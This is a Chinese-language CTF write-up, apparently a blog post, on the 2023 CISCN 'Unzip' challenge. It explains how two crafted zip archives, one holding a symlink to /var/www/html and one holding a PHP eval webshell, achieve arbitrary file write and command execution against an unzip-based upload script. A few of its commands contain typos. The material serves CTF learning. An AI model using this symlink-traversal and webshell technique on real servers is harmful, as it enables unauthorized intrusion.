2023ciscn初赛 Unzip

 参考:

奇安信攻防社区-2021深育杯线上初赛官方WriteUp-Web篇

1.打开环境

 2.上传一个文件,得到以下源码,分析一下8

 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);  //使用 PHP 内置函数 finfo_open() 创建一个文件信息对象,用于获取指定文件的 MIME 类型
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
///检查文件的MIME类型。如果上传的文件是ZIP文件(MIME类型为application/zip)(MIME类型简单就是文件的媒体类型),则将其解压缩到服务器的/tmp目录,并且覆盖原文件。
};
//only this! 

当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。此题上传的文件被保存到了/tmp目录下,而且没有require和include这种文件包含的点,因此无法直接执行上传文件里面的代码,因此这里考虑利用软连接,进行目录穿越,将文件上传到任意目录。

参考

一个有趣的任意文件读取 - 先知社区

软连接的作用类似于win下的快捷方式

软连接

软连接是linux中一个常用命令, 它的功能是为某一个文件在另外一个位置建立一个同步的链接。软连接类似与c语言中的指针,传递的是文件的地址; 更形象一些,软连接类似于WINDOWS系统中的快捷方式。 例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。

可以考虑软连接进行目录穿越的几个特征:

有文件上传接口,但是上传文件的目录不能确定可以上传zip文件并且会将文件解压到上传目录下
可以getshell的文件可以绕过waf成功上传此题符合几个特征,因此可以尝试此方法

3.先创建构造一个指向/var/www/html目录的软链接,因为html目录下是web环境,为了后续可以getshell

ls -s /var/www/html/ link

 4.打包到到1.zip,对link文件进行压缩。

zip --symlinks 1.zip link

 zip --symlinks,是在zip压缩文件中,包含符号链接本身,而不是它们指向的实际文件或目录,也就是说当解压缩这个zip文件,将得到符号链接,而不是它们指向的实际文件

5.构造第二个压缩包2.zip。创建一个link目录(因为上一个压缩包里边目录就是link),

在link目录下写一个shell.php文件,文件中写入木马文件,这里先写入phpinfo()进行测试

rm link

mkdir linkcd link  (创建目录)

echo "<?php phpinfo();" > shell.php

cd ../ 

zip -r 2.zip link 

6. 将1.zip 和2.zip 依次上传,压缩包会被解压 

当我们上传第二个压缩包时会覆盖上一个link目录,但是link目录软链接指向/var/www/html。

之前我们上传了一个软链接web到/tmp 目录下,此时若解压z.zip的话,正常情况下会解压到:/tmp/web/shell.php 但是由于web指向了 /var/www/html目录,所以会恰好将shell.php解压到 /var/www/html/shell.php 刚好解压到网站的访问目录,达到了getsehll的目的。

传马

ln -s /var/www/html test #ln -s 源文件 目标文件
 
zip -y test1.zip test #-y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效;
 
rm -rf test  #rm -rf 删除文件夹
 
mkdir test  #mkdir是make directory的缩写,Linux中 mkdir 命令用来创建指定的名称的目录,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录。
 
cd test
 
echo '<?php eval($_POST[a]);?>' > a.php
 
cd ..
 
zip -q -r test2.zip test 
#使用zip来将文件夹test压缩为test2.zip
#-r代表 recursive,代表递归处理,将指定目录下的所有文件和子目录一并处理。
#-q代表 quiet,代表无声模式,不输出压缩时的具体细节。

此时可以使用蚁剑连接或者命令执行

a=system('cat /flag')

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值